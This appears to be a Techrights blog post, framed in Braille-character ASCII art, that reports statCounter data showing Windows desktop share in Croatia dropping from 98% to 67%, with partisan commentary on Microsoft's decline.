⣿⣿⣿⡟⠟⣿⢿⡿⠿⡟⡿⣿⠿⣿⣿⡿⡟⡟⡛⡟⣿⣿⠿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣷⣾⣧⣿⣿⣶⣶⣷⣾⣿⣼⣿⣷⣷⣿⣶⣶⣿⣷⣶⣶⣿⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⡛⣿⣛⣿⣿⣿⣛⣟⣿⢙⣻⣿⣿⣿⢿⣻⣿⣻⣿⣟⣿⡿⢿⠟⡿⡿⢻⣿⡟⠻⣿⣿⡟⣿⣻⡏⠻⢻⣻⣿⠟⣻⣿⠻⢛⣟⣿⣿⢛⠟⣛⣛⣿⣿⡛⢿⣻⢿⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⡿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⣤⣤⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠿⢿⡿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⢠⡇⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠐⣶⣾⣿⡇⠀⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠀⠘⠋⢶⣴⣆⡈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠳⣦⡙⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⢦⣌⠻⣿⣿⣿⡷⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣾⣿⣿⠁⠀⠀⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠫⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⣤⡀⠀⠀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⢀⠄⡄⠀⠀⠀⢠⠀⡀⠀⠀⠀⣄⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠈⠀⠀⠀⠀⠀⠘⠈⠂⠀⠀⠀⠉⠃⠀⠀⠀⠀⠒⠀⠂⠀⠀⣿⣿ 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⣿⣿⣿⣿⣇⣍⣯⣿⣸⣏⣅⣸⣟⣉⣯⣗⣹⣿⣉⣻⣹⣿⣛⣿⣟⣰⣽⣿⣿⣽⣏⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⢿⠿⡿⣿⣿⢿⢿⣿⣿⡿⣿⢿⠿⡿⢿⡿⣿⡿⣿⣿⢿⢿⢿⣿⣿⣿⡿⢿⣿⣿⠿⡿⣿⣿⢿⢿⡿⣿⡿⣿⠿⣿⡿⣿⢿⢿⠿⡿⡿⣿⣿⢿⢿⣿⢿⡿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣯⣯⣤⣦⣿⣯⣤⣧⣧⣤⣬⣼⣴⣥⣤⣽⣦⣿⣯⣤⣽⣧⣷⣼⣽⣧⣼⣯⣤⣯⣧⣤⣴⣿⣿⣼⣤⣥⣯⣦⣾⣥⣤⣮⣤⣵⣴⣥⣧⣮⣾⣤⣷⣵⣽⣤⣧⣬⣾⣴⣤⣤⣿⣯⣭⣼⣿⣿⣿⣾⣿⣿⣿⣿⣿ ⣿⡏⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⢩⣭⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⠿⠿⣿⢿⣿⡿⢿⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿⢘⡃⣿⢠⢿⢣⢸⣿⢱⣿⣷⡟⣭⡝⡏⣯⢛⣍⣿⢩⡝⣭⢻⢋⣭⢻⢹⣍⣿⣿⣜⡳⣯⣩⢟⣭⢻⢟⣭⣻⠸⢫⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣿⣬⣭⣾⣼⣦⣿⣼⣿⣷⣭⣭⣷⣭⣵⣧⣿⣼⣿⣿⣼⣧⣿⣼⣮⣭⣾⣼⣿⣿⣿⣬⣥⣿⣬⣧⣭⣼⣮⣭⣿⣼⣮⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣿⣷⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣯⣶⡆⣿⣵⣶⢸⣷⡾⢇⣿⣿⡟⢴⡶⣿⠱⣶⢾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⡟⠵⠾⢿⠫⠶⠿⣏⡿⢇⣽⢿⣟⠿⠟⣸⡻⠿⢃⣿⣿⠿⣿⣿⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣟⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ䷩ 𝚕𝚒𝚗𝚎 1516 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/In_Croatia_Microsoft_Windows_Share_Sank_From_98_to_All_Time_Low.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/In_Croatia_Microsoft_Windows_Share_Sank_From_98_to_All_Time_Low.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ In Croatia, Microsoft Windows Share Sank From 98% to All-Time Low of 67% (or 28% If One Counts Android)⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Desktop Operating System Market Share Croatia⦈ Looking at statCounter's data from_Croatia_(this_month), we see Windows at record lows. It's even sadder_for_Microsoft_once_mobile_platforms_are_factored in. There are many operating systems that statCounter does not (and cannot) count, so we're not getting the "full picture", but statements made last week (and last month) by Microsoft's CEO confirm that Windows is rapidly losing users. █ * SLAPP_Censorship_-_Part_75_Out_of_200:_All_True,_All_Verifiable,_Unlike Garrett_and_Graveley_Lying_to_at_Least_Three_High_Court_Judges_About_What They_Did * Techrights_at_19.5_(We_Started_in_2006,_Days_After_the_Microsoft/Novell Deal) ⣿⣛⡿⡿⣿⠿⠿⡿⣿⣛⠿⠿⢿⠿⠟⣿⢿⠿⡟⡻⠿⠿⡿⡿⠿⡟⡿⡿⡿⡿⠿⠿⡟⡛⢿⢿⠿⢿⢟⡻⠿⡿⡿⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠉⠉⠉⠉⠉⠉⠉⠉⠉⣿ ⣿⠭⡧⡦⠷⠭⢭⡯⣿⢭⡮⠵⠼⢧⣤⣽⣯⣀⣯⣔⣦⣮⣦⣿⣧⣧⣼⣧⣿⣷⣦⣯⣯⣤⣷⣼⣷⣼⣮⣽⣮⣦⣬⣤⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿ ⣿⣶⣾⣷⣶⣿⣾⣷⣶⣦⣷⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣥⣮⣛⣛⣛⣛⣛⣛⣛⣛⣛⡛⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣶⣶⣦⣭⣭⣍⣛⣩⣭⣙⣛⣛⣛⠻⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡿⣿⣿⣿⣿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣾⡜⢙⣬⡹⢩⣭⣍⡙⢋⣥⣶⡝⢫⣤⣴⣬⡙⣰⣶⢹⠙⢃⣾⣌⡛⡿⣛⠻⣿⣿⣿⣿⣿⣿ ⣿⣷⣾⢰⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⡆⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⡆⢰⣶⣶⣶⣶⣠⣶⣶⡆⢶⡶⣶⡆⣿ ⣿⣿⣿⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠛⠃⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⣦⣶⣶⡁⣿ 